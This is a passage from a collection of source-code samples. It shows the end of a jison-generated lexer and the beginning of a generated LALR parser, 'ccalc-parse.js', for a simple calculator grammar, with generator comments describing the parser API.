(n > 0) {\n            this.__currentRuleSet__ = null;\n            return this.conditionStack.pop();\n        } else {\n            return this.conditionStack[0];\n        }\n    },\n\n    // return the currently active lexer condition state; when an index argument is provided it produces the N-th previous condition state, if available\n    topState: function lexer_topState(n) {\n        n = this.conditionStack.length - 1 - Math.abs(n || 0);\n        if (n >= 0) {\n            return this.conditionStack[n];\n        } else {\n            return 'INITIAL';\n        }\n    },\n\n    // (internal) determine the lexer rule set which is active for the currently active lexer condition state\n    _currentRules: function lexer__currentRules() {\n        if (this.conditionStack.length && this.conditionStack[this.conditionStack.length - 1]) {\n            return this.conditions[this.conditionStack[this.conditionStack.length - 1]];\n        } else {\n            return this.conditions['INITIAL'];\n        }\n    },\n\n    // return the number of states currently on the stack\n    stateStackSize: function lexer_stateStackSize() {\n        return this.conditionStack.length;\n    },\noptions: {},\nJisonLexerError: JisonLexerError,\nperformAction: function lexer__performAction(yy, yy_, $avoiding_name_collisions, YY_START) {\n\nvar YYSTATE = YY_START;\nswitch($avoiding_name_collisions) {\ncase 0 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       [ \\t\\r\\n]+ */ \n \n    /* eat up whitespace */\n    BeginToken(yy_.yytext); \n     \nbreak;\ncase 1 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       {DIGIT}+ */ \n \n    BeginToken(yy_.yytext); \n    yylval.value = atof(yy_.yytext);\n    return VALUE;\n     \nbreak;\ncase 2 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       {DIGIT}+\\.{DIGIT}* */ \n \n    BeginToken(yy_.yytext);\n    yylval.value = atof(yy_.yytext);\n    return VALUE;\n     \nbreak;\ncase 3 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       {DIGIT}+[eE][\"+\"\"-\"]?{DIGIT}* */ \n \n    BeginToken(yy_.yytext);\n    yylval.value = atof(yy_.yytext);\n    return VALUE;\n     \nbreak;\ncase 4 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       {DIGIT}+\\.{DIGIT}*[eE][\"+\"\"-\"]?{DIGIT}* */ \n \n    BeginToken(yy_.yytext);\n    yylval.value = atof(yy_.yytext);\n    return VALUE;\n     \nbreak;\ncase 5 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       {ID} */ \n \n    BeginToken(yy_.yytext);\n    yylval.string = malloc(strlen(yy_.yytext)+1);\n    strcpy(yylval.string, yy_.yytext);\n    return IDENTIFIER;\n     \nbreak;\ncase 6 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       \\+ */ \n  BeginToken(yy_.yytext); return ADD;  \nbreak;\ncase 7 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       - */ \n  BeginToken(yy_.yytext); return SUB;  \nbreak;\ncase 8 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       \\* */ \n  BeginToken(yy_.yytext); return MULT;  \nbreak;\ncase 9 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       \\/ */ \n  BeginToken(yy_.yytext); return DIV;  \nbreak;\ncase 10 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       \\( */ \n  BeginToken(yy_.yytext); return LBRACE;  \nbreak;\ncase 11 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       \\) */ \n  BeginToken(yy_.yytext); return RBRACE;  \nbreak;\ncase 12 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       ; */ \n  BeginToken(yy_.yytext); return SEMICOLON;  \nbreak;\ncase 13 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       = */ \n  BeginToken(yy_.yytext); return ASSIGN;  \nbreak;\ncase 14 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       . */ \n \n    BeginToken(yy_.yytext);\n    return yy_.yytext[0];\n     \nbreak;\ndefault:\n  return this.simpleCaseActionClusters[$avoiding_name_collisions];\n}\n},\nsimpleCaseActionClusters: {\n\n},\nrules: [\n/^(?:[ \\t\\r\\n]+)/,\n/^(?:(\\d)+)/,\n/^(?:(\\d)+\\.(\\d)*)/,\n/^(?:(\\d)+[Ee][\"+]?(\\d)*)/,\n/^(?:(\\d)+\\.(\\d)*[Ee][\"+]?(\\d)*)/,\n/^(?:([^\\W\\d]\\w*))/,\n/^(?:\\+)/,\n/^(?:-)/,\n/^(?:\\*)/,\n/^(?:\\/)/,\n/^(?:\\()/,\n/^(?:\\))/,\n/^(?:;)/,\n/^(?:=)/,\n/^(?:.)/\n],\nconditions: {\n  \"INITIAL\": {\n    rules: [\n      0,\n      1,\n      2,\n      3,\n      4,\n      5,\n      6,\n      7,\n      8,\n      9,\n      10,\n      11,\n      12,\n      13,\n      14\n    ],\n    inclusive: true\n  }\n}\n};\n\n/*--------------------------------------------------------------------\n * lex.l\n *------------------------------------------------------------------*/;\nreturn lexer;\n})();"
  },
  {
    "path": "samples/JavaScript/ccalc-parse.js",
    "content": "/* parser generated by jison 0.4.17-144 */\n/*\n * Returns a Parser object of the following structure:\n *\n *  Parser: {\n *    yy: {}     The so-called \"shared state\" or rather the *source* of it;\n *               the real \"shared state\" `yy` passed around to\n *               the rule actions, etc. is a derivative/copy of this one,\n *               not a direct reference!\n *  }\n *\n *  Parser.prototype: {\n *    yy: {},\n *    EOF: 1,\n *    TERROR: 2,\n *\n *    trace: function(errorMessage, ...),\n *\n *    JisonParserError: function(msg, hash),\n *\n *    quoteName: function(name),\n *               Helper function which can be overridden by user code later on: put suitable\n *               quotes around literal IDs in a description string.\n *\n *    originalQuoteName: function(name),\n *               The basic quoteName handler provided by JISON.\n *               `cleanupAfterParse()` will clean up and reset `quoteName()` to reference this function\n *               at the end of the `parse()`.\n *\n *    describeSymbol: function(symbol),\n *               Return a more-or-less human-readable description of the given symbol, when\n *               available, or the symbol itself, serving as its own 'description' for lack\n *               of something better to serve up.\n *\n *               Return NULL when the symbol is unknown to the parser.\n *\n *    symbols_: {associative list: name ==> number},\n *    terminals_: {associative list: number ==> name},\n *    nonterminals: {associative list: rule-name ==> {associative list: number ==> rule-alt}},\n *    terminal_descriptions_: (if there are any) {associative list: number ==> description},\n *    productions_: [...],\n *\n *    performAction: function parser__performAction(yytext, yyleng, yylineno, yyloc, yy, yystate, $0, $$, _$, yystack, yysstack, ...),\n *               where `...` denotes the (optional) additional arguments the user passed to\n *               `parser.parse(str, ...)`\n *\n *    table: [...],\n *               State transition table\n *               ----------------------\n *\n *               index levels are:\n *               - `state`  --> hash table\n *               - `symbol` --> action (number or array)\n *\n *                 If the `action` is an array, these are the elements' meaning:\n *                 - index [0]: 1 = shift, 2 = reduce, 3 = accept\n *                 - index [1]: GOTO `state`\n *\n *                 If the `action` is a number, it is the GOTO `state`\n *\n *    defaultActions: {...},\n *\n *    parseError: function(str, hash),\n *    yyErrOk: function(),\n *    yyClearIn: function(),\n *\n *    constructParseErrorInfo: function(error_message, exception_object, expected_token_set, is_recoverable),\n *               Helper function **which will be set up during the first invocation of the `parse()` method**.\n *               Produces a new errorInfo 'hash object' which can be passed into `parseError()`.\n *               See it's use in this parser kernel in many places; example usage:\n *\n *                   var infoObj = parser.constructParseErrorInfo('fail!', null,\n *                                     parser.collect_expected_token_set(state), true);\n *                   var retVal = parser.parseError(infoObj.errStr, infoObj);\n *\n *    originalParseError: function(str, hash),\n *               The basic parseError handler provided by JISON.\n *               `cleanupAfterParse()` will clean up and reset `parseError()` to reference this function\n *               at the end of the `parse()`.\n *\n *    options: { ... parser %options ... },\n *\n *    parse: function(input[, args...]),\n *               Parse the given `input` and return the parsed value (or `true` when none was provided by\n *               the root action, in which case the parser is acting as a *matcher*).\n *               You MAY use the additional `args...` parameters as per `%parse-param` spec of this grammar:\n *               these extra `args...` are passed verbatim to the grammar rules' action code.\n *\n *    cleanupAfterParse: function(resultValue, invoke_post_methods),\n *               Helper function **which will be set up during the first invocation of the `parse()` method**.\n *               This helper API is invoked at the end of the `parse()` call, unless an exception was thrown\n *               and `%options no-try-catch` has been defined for this grammar: in that case this helper MAY\n *               be invoked by calling user code to ensure the `post_parse` callbacks are invoked and\n *               the internal parser gets properly garbage collected under these particular circumstances.\n *\n *    lexer: {\n *        yy: {...},           A reference to the so-called \"shared state\" `yy` once\n *                             received via a call to the `.setInput(input, yy)` lexer API.\n *        EOF: 1,\n *        ERROR: 2,\n *        JisonLexerError: function(msg, hash),\n *        parseError: function(str, hash),\n *        setInput: function(input, [yy]),\n *        input: function(),\n *        unput: function(str),\n *        more: function(),\n *        reject: function(),\n *        less: function(n),\n *        pastInput: function(n),\n *        upcomingInput: function(n),\n *        showPosition: function(),\n *        test_match: function(regex_match_array, rule_index),\n *        next: function(),\n *        lex: function(),\n *        begin: function(condition),\n *        pushState: function(condition),\n *        popState: function(),\n *        topState: function(),\n *        _currentRules: function(),\n *        stateStackSize: function(),\n *\n *        options: { ... lexer %options ... },\n *\n *        performAction: function(yy, yy_, $avoiding_name_collisions, YY_START),\n *        rules: [...],\n *        conditions: {associative list: name ==> set},\n *    }\n *  }\n *\n *\n *  token location info (@$, _$, etc.): {\n *    first_line: n,\n *    last_line: n,\n *    first_column: n,\n *    last_column: n,\n *    range: [start_number, end_number]\n *               (where the numbers are indexes into the input string, zero-based)\n *  }\n *\n * ---\n *\n * The parseError function receives a 'hash' object with these members for lexer and\n * parser errors:\n *\n *  {\n *    text:        (matched text)\n *    token:       (the produced terminal token, if any)\n *    token_id:    (the produced terminal token numeric ID, if any)\n *    line:        (yylineno)\n *    loc:         (yylloc)\n *  }\n *\n * parser (grammar) errors will also provide these additional members:\n *\n *  {\n *    expected:    (array describing the set of expected tokens;\n *                  may be UNDEFINED when we cannot easily produce such a set)\n *    state:       (integer (or array when the table includes grammar collisions);\n *                  represents the current internal state of the parser kernel.\n *                  can, for example, be used to pass to the `collect_expected_token_set()`\n *                  API to obtain the expected token set)\n *    action:      (integer; represents the current internal action which will be executed)\n *    new_state:   (integer; represents the next/planned internal state, once the current\n *                  action has executed)\n *    recoverable: (boolean: TRUE when the parser MAY have an error recovery rule\n *                  available for this particular error)\n *    state_stack: (array: the current parser LALR/LR internal state stack; this can be used,\n *                  for instance, for advanced error analysis and reporting)\n *    value_stack: (array: the current parser LALR/LR internal `$$` value stack; this can be used,\n *                  for instance, for advanced error analysis and reporting)\n *    location_stack: (array: the current parser LALR/LR internal location stack; this can be used,\n *                  for instance, for advanced error analysis and reporting)\n *    yy:          (object: the current parser internal \"shared state\" `yy`\n *                  as is also available in the rule actions; this can be used,\n *                  for instance, for advanced error analysis and reporting)\n *    lexer:       (reference to the current lexer instance used by the parser)\n *  }\n *\n * while `this` will reference the current parser instance.\n *\n *  When `parseError` is invoked by the lexer, `this` will still reference the related *parser*\n *  instance, while these additional `hash` fields will also be provided:\n *\n *  {\n *    lexer:       (reference to the current lexer instance which reported the error)\n *  }\n *\n *  When `parseError` is invoked by the parser due to a **JavaScript exception** being fired\n *  from either the parser or lexer, `this` will still reference the related *parser*\n *  instance, while these additional `hash` fields will also be provided:\n *\n *  {\n *    exception:   (reference to the exception thrown)\n *  }\n *\n *  Please do note that in the latter situation, the `expected` field will be omitted as\n *  type of failure is assumed not to be due to *parse errors* but rather due to user\n *  action code in either parser or lexer failing unexpectedly.\n *\n * ---\n *\n * You can specify parser options by setting / modifying the `.yy` object of your Parser instance.\n * These options are available:\n *\n * ### options which are global for all parser instances\n *\n *  Parser.pre_parse: function(yy [, optional parse() args])\n *                 optional: you can specify a pre_parse() function in the chunk following\n *                 the grammar, i.e. after the last `%%`.\n *  Parser.post_parse: function(yy, retval [, optional parse() args]) { return retval; }\n *                 optional: you can specify a post_parse() function in the chunk following\n *                 the grammar, i.e. after the last `%%`. When it does not return any value,\n *                 the parser will return the original `retval`.\n *\n * ### options which can be set up per parser instance\n *  \n *  yy: {\n *      pre_parse:  function(yy [, optional parse() args])\n *                 optional: is invoked before the parse cycle starts (and before the first\n *                 invocation of `lex()`) but immediately after the invocation of\n *                 `parser.pre_parse()`).\n *      post_parse: function(yy, retval [, optional parse() args]) { return retval; }\n *                 optional: is invoked when the parse terminates due to success ('accept')\n *                 or failure (even when exceptions are thrown).\n *                 `retval` contains the return value to be produced by `Parser.parse()`;\n *                 this function can override the return value by returning another. \n *                 When it does not return any value, the parser will return the original\n *                 `retval`. \n *                 This function is invoked immediately before `Parser.post_parse()`.\n *\n *      parseError: function(str, hash)\n *                 optional: overrides the default `parseError` function.\n *      quoteName: function(name),\n *                 optional: overrides the default `quoteName` function.\n *  }\n *\n *  parser.lexer.options: {\n *      pre_lex:  function()\n *                 optional: is invoked before the lexer is invoked to produce another token.\n *                 `this` refers to the Lexer object.\n *      post_lex: function(token) { return token; }\n *                 optional: is invoked when the lexer has produced a token `token`;\n *                 this function can override the returned token value by returning another.\n *                 When it does not return any (truthy) value, the lexer will return\n *                 the original `token`.\n *                 `this` refers to the Lexer object.\n *\n *      ranges: boolean\n *                 optional: `true` ==> token location info will include a .range[] member.\n *      flex: boolean\n *                 optional: `true` ==> flex-like lexing behaviour where the rules are tested\n *                 exhaustively to find the longest match.\n *      backtrack_lexer: boolean\n *                 optional: `true` ==> lexer regexes are tested in order and for invoked;\n *                 the lexer terminates the scan when a token is returned by the action code.\n *      xregexp: boolean\n *                 optional: `true` ==> lexer rule regexes are \"extended regex format\" requiring the\n *                 `XRegExp` library. When this %option has not been specified at compile time, all lexer\n *                 rule regexes have been written as standard JavaScript RegExp expressions.\n *  }\n */\nvar ccalcParse = (function () {\n\n// See also:\n// http://stackoverflow.com/questions/1382107/whats-a-good-way-to-extend-error-in-javascript/#35881508\n// but we keep the prototype.constructor and prototype.name assignment lines too for compatibility\n// with userland code which might access the derived class in a 'classic' way.\nfunction JisonParserError(msg, hash) {\n    Object.defineProperty(this, 'name', {\n        enumerable: false,\n        writable: false,\n        value: 'JisonParserError'\n    });\n\n    if (msg == null) msg = '???';\n\n    Object.defineProperty(this, 'message', {\n        enumerable: false,\n        writable: true,\n        value: msg\n    });\n\n    this.hash = hash;\n\n    var stacktrace;\n    if (hash && hash.exception instanceof Error) {\n        var ex2 = hash.exception;\n        this.message = ex2.message || msg;\n        stacktrace = ex2.stack;\n    }\n    if (!stacktrace) {\n        if (Error.hasOwnProperty('captureStackTrace')) { // V8\n            Error.captureStackTrace(this, this.constructor);\n        } else {\n            stacktrace = (new Error(msg)).stack;\n        }\n    }\n    if (stacktrace) {\n        Object.defineProperty(this, 'stack', {\n            enumerable: false,\n            writable: false,\n            value: stacktrace\n        });\n    }\n}\n\nif (typeof Object.setPrototypeOf === 'function') {\n    Object.setPrototypeOf(JisonParserError.prototype, Error.prototype);\n} else {\n    JisonParserError.prototype = Object.create(Error.prototype);\n}\nJisonParserError.prototype.constructor = JisonParserError;\nJisonParserError.prototype.name = 'JisonParserError';\n\n\n\n// helper: reconstruct the productions[] table\nfunction bp(s) {\n    var rv = [];\n    var p = s.pop;\n    var r = s.rule;\n    for (var i = 0, l = p.length; i < l; i++) {\n        rv.push([\n            p[i],\n            r[i]\n        ]);\n    }\n    return rv;\n}\n\n\n\n// helper: reconstruct the 'goto' table\nfunction bt(s) {\n    var rv = [];\n    var d = s.len;\n    var y = s.symbol;\n    var t = s.type;\n    var a = s.state;\n    var m = s.mode;\n    var g = s.goto;\n    for (var i = 0, l = d.length; i < l; i++) {\n        var n = d[i];\n        var q = {};\n        for (var j = 0; j < n; j++) {\n            var z = y.shift();\n            switch (t.shift()) {\n            case 2:\n                q[z] = [\n                    m.shift(),\n                    g.shift()\n                ];\n                break;\n\n            case 0:\n                q[z] = a.shift();\n                break;\n\n            default:\n                // type === 1: accept\n                q[z] = [\n                    3\n                ];\n            }\n        }\n        rv.push(q);\n    }\n    return rv;\n}\n\n// helper: runlength encoding with increment step: code, length: step (default step = 0)\n// `this` references an array\nfunction s(c, l, a) {\n    a = a || 0;\n    for (var i = 0; i < l; i++) {\n        this.push(c);\n        c += a;\n    }\n}\n\n// helper: duplicate sequence from *relative* offset and length.\n// `this` references an array\nfunction c(i, l) {\n    i = this.length - i;\n    for (l += i; i < l; i++) {\n        this.push(this[i]);\n    }\n}\n\n// helper: unpack an array using helpers and data, all passed in an array argument 'a'.\nfunction u(a) {\n    var rv = [];\n    for (var i = 0, l = a.length; i < l; i++) {\n        var e = a[i];\n        // Is this entry a helper function?\n        if (typeof e === 'function') {\n            i++;\n            e.apply(rv, a[i]);\n        } else {\n            rv.push(e);\n        }\n    }\n    return rv;\n}\n\nvar parser = {\ntrace: function no_op_trace() { },\nJisonParserError: JisonParserError,\nyy: {},\noptions: {\n  type: \"lalr\",\n  errorRecoveryTokenDiscardCount: 3\n},\nsymbols_: {\n  \"$accept\": 0,\n  \"$end\": 1,\n  \"ADD\": 12,\n  \"ASSIGN\": 7,\n  \"DIV\": 14,\n  \"EOF\": 1,\n  \"IDENTIFIER\": 6,\n  \"LBRACE\": 9,\n  \"MULT\": 13,\n  \"RBRACE\": 10,\n  \"SEMICOLON\": 5,\n  \"SUB\": 11,\n  \"VALUE\": 15,\n  \"error\": 2,\n  \"expression\": 8,\n  \"program\": 3,\n  \"statement\": 4\n},\nterminals_: {\n  1: \"EOF\",\n  2: \"error\",\n  5: \"SEMICOLON\",\n  6: \"IDENTIFIER\",\n  7: \"ASSIGN\",\n  9: \"LBRACE\",\n  10: \"RBRACE\",\n  11: \"SUB\",\n  12: \"ADD\",\n  13: \"MULT\",\n  14: \"DIV\",\n  15: \"VALUE\"\n},\nTERROR: 2,\nEOF: 1,\n\n// internals: defined here so the object *structure* doesn't get modified by parse() et al,\n// thus helping JIT compilers like Chrome V8.\noriginalQuoteName: null,\noriginalParseError: null,\ncleanupAfterParse: null,\nconstructParseErrorInfo: null,\n\n__reentrant_call_depth: 0,       // INTERNAL USE ONLY\n\n// APIs which will be set up depending on user action code analysis:\n//yyErrOk: 0,\n//yyClearIn: 0,\n\n// Helper APIs\n// -----------\n\n// Helper function which can be overridden by user code later on: put suitable quotes around\n// literal IDs in a description string.\nquoteName: function parser_quoteName(id_str) {\n    return '\"' + id_str + '\"';\n},\n\n// Return a more-or-less human-readable description of the given symbol, when available,\n// or the symbol itself, serving as its own 'description' for lack of something better to serve up.\n//\n// Return NULL when the symbol is unknown to the parser.\ndescribeSymbol: function parser_describeSymbol(symbol) {\n    if (symbol !== this.EOF && this.terminal_descriptions_ && this.terminal_descriptions_[symbol]) {\n        return this.terminal_descriptions_[symbol];\n    }\n    else if (symbol === this.EOF) {\n        return 'end of input';\n    }\n    else if (this.terminals_[symbol]) {\n        return this.quoteName(this.terminals_[symbol]);\n    }\n    // Otherwise... this might refer to a RULE token i.e. a non-terminal: see if we can dig that one up.\n    //\n    // An example of this may be where a rule's action code contains a call like this:\n    //\n    //      parser.describeSymbol(#$)\n    //\n    // to obtain a human-readable description or name of the current grammar rule. This comes handy in\n    // error handling action code blocks, for example.\n    var s = this.symbols_;\n    for (var key in s) {\n        if (s[key] === symbol) {\n            return key;\n        }\n    }\n    return null;\n},\n\n// Produce a (more or less) human-readable list of expected tokens at the point of failure.\n//\n// The produced list may contain token or token set descriptions instead of the tokens\n// themselves to help turning this output into something that easier to read by humans\n// unless `do_not_describe` parameter is set, in which case a list of the raw, *numeric*,\n// expected terminals and nonterminals is produced.\n//\n// The returned list (array) will not contain any duplicate entries.\ncollect_expected_token_set: function parser_collect_expected_token_set(state, do_not_describe) {\n    var TERROR = this.TERROR;\n    var tokenset = [];\n    var check = {};\n    // Has this (error?) state been outfitted with a custom expectations description text for human consumption?\n    // If so, use that one instead of the less palatable token set.\n    if (!do_not_describe && this.state_descriptions_ && this.state_descriptions_[state]) {\n        return [\n            this.state_descriptions_[state]\n        ];\n    }\n    for (var p in this.table[state]) {\n        p = +p;\n        if (p !== TERROR) {\n            var d = do_not_describe ? p : this.describeSymbol(p);\n            if (d && !check[d]) {\n                tokenset.push(d);\n                check[d] = true;        // Mark this token description as already mentioned to prevent outputting duplicate entries.\n            }\n        }\n    }\n    return tokenset;\n},\nproductions_: bp({\n  pop: u([\n  s,\n  [3, 3],\n  4,\n  4,\n  s,\n  [8, 8]\n]),\n  rule: u([\n  3,\n  2,\n  4,\n  3,\n  1,\n  3,\n  2,\n  s,\n  [3, 4],\n  1,\n  1\n])\n}),\nperformAction: function parser__PerformAction(yytext, yyloc, yy, yystate /* action[1] */, $0, $$ /* vstack */, _$ /* lstack */) {\n/* this == yyval */\n\nswitch (yystate) {\ncase 3:\n    /*! Production::    program : statement error SEMICOLON program */\n    yy.parser.yyErrOk();\n    break;\n\ncase 4:\n    /*! Production::    statement : IDENTIFIER ASSIGN expression */\n    VarSetValue(var, $$[$0]);\n    break;\n\ncase 6:\n    /*! Production::    expression : LBRACE expression RBRACE */\n    this.$ = $$[$0 - 1];\n    break;\n\ncase 7:\n    /*! Production::    expression : SUB expression */\n    this.$ = - $$[$0];\n    break;\n\ncase 8:\n    /*! Production::    expression : expression ADD expression */\n    this.$ = ReduceAdd($$[$0 - 2], $$[$0], &_$[$0]);\n    if (  debug  )\n      printf(\"reduce %lf + %lf => %lf\\n\", $$[$0 - 2], $$[$0], this.$);\n    break;\n\ncase 9:\n    /*! Production::    expression : expression SUB expression */\n    this.$ = ReduceSub($$[$0 - 2], $$[$0], &_$[$0]);\n    if (  debug  )\n      printf(\"reduce %lf - %lf => %lf\\n\", $$[$0 - 2], $$[$0], this.$);\n    break;\n\ncase 10:\n    /*! Production::    expression : expression MULT expression */\n    this.$ = ReduceMult($$[$0 - 2], $$[$0], &_$[$0]);\n    if (  debug  )\n      printf(\"reduce %lf * %lf => %lf\\n\", $$[$0 - 2], $$[$0], this.$);\n    break;\n\ncase 11:\n    /*! Production::    expression : expression DIV expression */\n    this.$ = ReduceDiv($$[$0 - 2], $$[$0], &_$[$0]);\n    if (  debug  )\n      printf(\"reduce %lf / %lf => %lf\\n\", $$[$0 - 2], $$[$0], this.$);\n    break;\n\ncase 12:\n    /*! Production::    expression : VALUE */\n    this.$ = $$[$0];\n    break;\n\ncase 13:\n    /*! Production::    expression : IDENTIFIER */\n    this.$ = VarGetValue($$[$0], &_$[$0]);\n    if (  debug  )\n      printf(\"identifier %s => %lf\\n\", $$[$0], this.$);\n    break;\n\n}\n},\ntable: bt({\n  len: u([\n  7,\n  1,\n  2,\n  7,\n  6,\n  5,\n  5,\n  7,\n  8,\n  1,\n  s,\n  [5, 6],\n  7,\n  7,\n  1,\n  7,\n  6,\n  s,\n  [7, 5],\n  1\n]),\n  symbol: u([\n  3,\n  4,\n  6,\n  8,\n  9,\n  11,\n  15,\n  1,\n  2,\n  5,\n  2,\n  5,\n  7,\n  s,\n  [11, 4, 1],\n  2,\n  5,\n  c,\n  [6, 4],\n  c,\n  [21, 5],\n  c,\n  [5, 5],\n  2,\n  5,\n  s,\n  [10, 5, 1],\n  1,\n  c,\n  [41, 7],\n  5,\n  c,\n  [26, 10],\n  c,\n  [5, 15],\n  c,\n  [39, 5],\n  c,\n  [46, 7],\n  c,\n  [53, 15],\n  c,\n  [84, 6],\n  c,\n  [28, 14],\n  c,\n  [7, 21],\n  1\n]),\n  type: u([\n  0,\n  0,\n  2,\n  0,\n  s,\n  [2, 3],\n  1,\n  s,\n  [2, 16],\n  c,\n  [21, 4],\n  c,\n  [5, 6],\n  c,\n  [17, 8],\n  c,\n  [41, 6],\n  c,\n  [26, 12],\n  c,\n  [5, 15],\n  s,\n  [2, 19],\n  c,\n  [53, 9],\n  s,\n  [2, 40]\n]),\n  state: u([\n  1,\n  2,\n  4,\n  15,\n  17,\n  18,\n  2,\n  4,\n  s,\n  [20, 5, 1],\n  26,\n  2,\n  4\n]),\n  mode: u([\n  s,\n  [1, 6],\n  2,\n  2,\n  c,\n  [3, 3],\n  s,\n  [2, 4],\n  s,\n  [1, 12],\n  s,\n  [2, 8],\n  s,\n  [1, 30],\n  s,\n  [2, 15],\n  c,\n  [78, 7],\n  c,\n  [25, 8],\n  c,\n  [7, 14],\n  s,\n  [2, 17]\n]),\n  goto: u([\n  3,\n  5,\n  6,\n  7,\n  9,\n  8,\n  13,\n  13,\n  10,\n  s,\n  [13, 4],\n  5,\n  5,\n  12,\n  11,\n  13,\n  14,\n  16,\n  c,\n  [19, 3],\n  c,\n  [4, 4],\n  s,\n  [12, 7],\n  2,\n  c,\n  [35, 4],\n  19,\n  c,\n  [21, 8],\n  c,\n  [4, 12],\n  25,\n  c,\n  [46, 4],\n  s,\n  [13, 7],\n  s,\n  [7, 7],\n  1,\n  c,\n  [45, 4],\n  4,\n  4,\n  c,\n  [25, 4],\n  s,\n  [8, 5],\n  13,\n  14,\n  s,\n  [9, 5],\n  13,\n  14,\n  s,\n  [10, 7],\n  s,\n  [11, 7],\n  s,\n  [6, 7],\n  3\n])\n}),\ndefaultActions: {\n  18: 1,\n  26: 3\n},\nparseError: function parseError(str, hash) {\n    if (hash.recoverable) {\n        this.trace(str);\n        hash.destroy();             // destroy... well, *almost*!\n        // assert('recoverable' in hash);\n    } else {\n        throw new this.JisonParserError(str, hash);\n    }\n},\nparse: function parse(input) {\n    var self = this,\n        stack = new Array(128),         // token stack: stores token which leads to state at the same index (column storage)\n        sstack = new Array(128),        // state stack: stores states\n\n        vstack = new Array(128),        // semantic value stack\n        lstack = new Array(128),        // location stack\n        table = this.table,\n        sp = 0;                         // 'stack pointer': index into the stacks\n\n    var recovering = 0;                 // (only used when the grammar contains error recovery rules)\n    var TERROR = this.TERROR,\n        EOF = this.EOF,\n        ERROR_RECOVERY_TOKEN_DISCARD_COUNT = (this.options.errorRecoveryTokenDiscardCount | 0) || 3;\n    var NO_ACTION = [0, table.length /* ensures that anyone using this new state will fail dramatically! */];\n\n    //this.reductionCount = this.shiftCount = 0;\n\n    var lexer;\n    if (this.__lexer__) {\n        lexer = this.__lexer__;\n    } else {\n        lexer = this.__lexer__ = Object.create(this.lexer);\n    }\n\n    var sharedState = {\n      yy: {\n        parseError: null,\n        quoteName: null,\n        lexer: null,\n        parser: null,\n        pre_parse: null,\n        post_parse: null\n      }\n    };\n    // copy state\n    for (var k in this.yy) {\n      if (Object.prototype.hasOwnProperty.call(this.yy, k)) {\n        sharedState.yy[k] = this.yy[k];\n      }\n    }\n\n    sharedState.yy.lexer = lexer;\n    sharedState.yy.parser = this;\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n    if (this.yyErrOk === 1) {\n        this.yyErrOk = function yyErrOk() {\n            recovering = 0;\n        };\n    }\n\n\n\n\n\n\n    lexer.setInput(input, sharedState.yy);\n\n    if (typeof lexer.yylloc === 'undefined') {\n        lexer.yylloc = {};\n    }\n    var yyloc = lexer.yylloc;\n    lstack[sp] = yyloc;\n    vstack[sp] = null;\n    sstack[sp] = 0;\n    stack[sp] = 0;\n    ++sp;\n\n    if (typeof lexer.yytext === 'undefined') {\n        lexer.yytext = '';\n    }\n    var yytext = lexer.yytext;\n    if (typeof lexer.yylineno === 'undefined') {\n        lexer.yylineno = 0;\n    }\n\n\n\n\n    var ranges = lexer.options && lexer.options.ranges;\n\n    // Does the shared state override the default `parseError` that already comes with this instance?\n    if (typeof sharedState.yy.parseError === 'function') {\n        this.parseError = sharedState.yy.parseError;\n    } else {\n        this.parseError = this.originalParseError;\n    }\n\n    // Does the shared state override the default `quoteName` that already comes with this instance?\n    if (typeof sharedState.yy.quoteName === 'function') {\n        this.quoteName = sharedState.yy.quoteName;\n    } else {\n        this.quoteName = this.originalQuoteName;\n    }\n\n    // set up the cleanup function; make it an API so that external code can re-use this one in case of\n    // calamities or when the `%options no-try-catch` option has been specified for the grammar, in which\n    // case this parse() API method doesn't come with a `finally { ... }` block any more!\n    //\n    // NOTE: as this API uses parse() as a closure, it MUST be set again on every parse() invocation,\n    //       or else your `sharedState`, etc. references will be *wrong*!\n    //\n    //       The function resets itself to the previous set up one to support reentrant parsers.\n    this.cleanupAfterParse = function parser_cleanupAfterParse(resultValue, invoke_post_methods) {\n        var rv;\n\n        if (invoke_post_methods) {\n            if (sharedState.yy.post_parse) {\n                rv = sharedState.yy.post_parse.call(this, sharedState.yy, resultValue);\n                if (typeof rv !== 'undefined') resultValue = rv;\n            }\n            if (this.post_parse) {\n                rv = this.post_parse.call(this, sharedState.yy, resultValue);\n                if (typeof rv !== 'undefined') resultValue = rv;\n            }\n        }\n\n        if (this.__reentrant_call_depth > 1) return resultValue;        // do not (yet) kill the sharedState when this is a reentrant run.\n\n        // prevent lingering circular references from causing memory leaks:\n        if (sharedState.yy) {\n            sharedState.yy.parseError = undefined;\n            sharedState.yy.quoteName = undefined;\n            sharedState.yy.lexer = undefined;\n            sharedState.yy.parser = undefined;\n            if (lexer.yy === sharedState.yy) {\n                lexer.yy = undefined;\n            }\n        }\n        sharedState.yy = undefined;\n        this.parseError = this.originalParseError;\n        this.quoteName = this.originalQuoteName;\n\n        // nuke the vstack[] array at least as that one will still reference obsoleted user values.\n        // To be safe, we nuke the other internal stack columns as well...\n        stack.length = 0;               // fastest way to nuke an array without overly bothering the GC\n        sstack.length = 0;\n        lstack.length = 0;\n        vstack.length = 0;\n        stack_pointer = 0;\n\n        return resultValue;\n    };\n\n    // NOTE: as this API uses parse() as a closure, it MUST be set again on every parse() invocation,\n    //       or else your `lexer`, `sharedState`, etc. references will be *wrong*!\n    this.constructParseErrorInfo = function parser_constructParseErrorInfo(msg, ex, expected, recoverable) {\n        return {\n            errStr: msg,\n            exception: ex,\n            text: lexer.match,\n            value: lexer.yytext,\n            token: this.describeSymbol(symbol) || symbol,\n            token_id: symbol,\n            line: lexer.yylineno,\n            loc: lexer.yylloc,\n            expected: expected,\n            recoverable: recoverable,\n            state: state,\n            action: action,\n            new_state: newState,\n            symbol_stack: stack,\n            state_stack: sstack,\n            value_stack: vstack,\n            location_stack: lstack,\n            stack_pointer: sp,\n            yy: sharedState.yy,\n            lexer: lexer,\n\n            // and make sure the error info 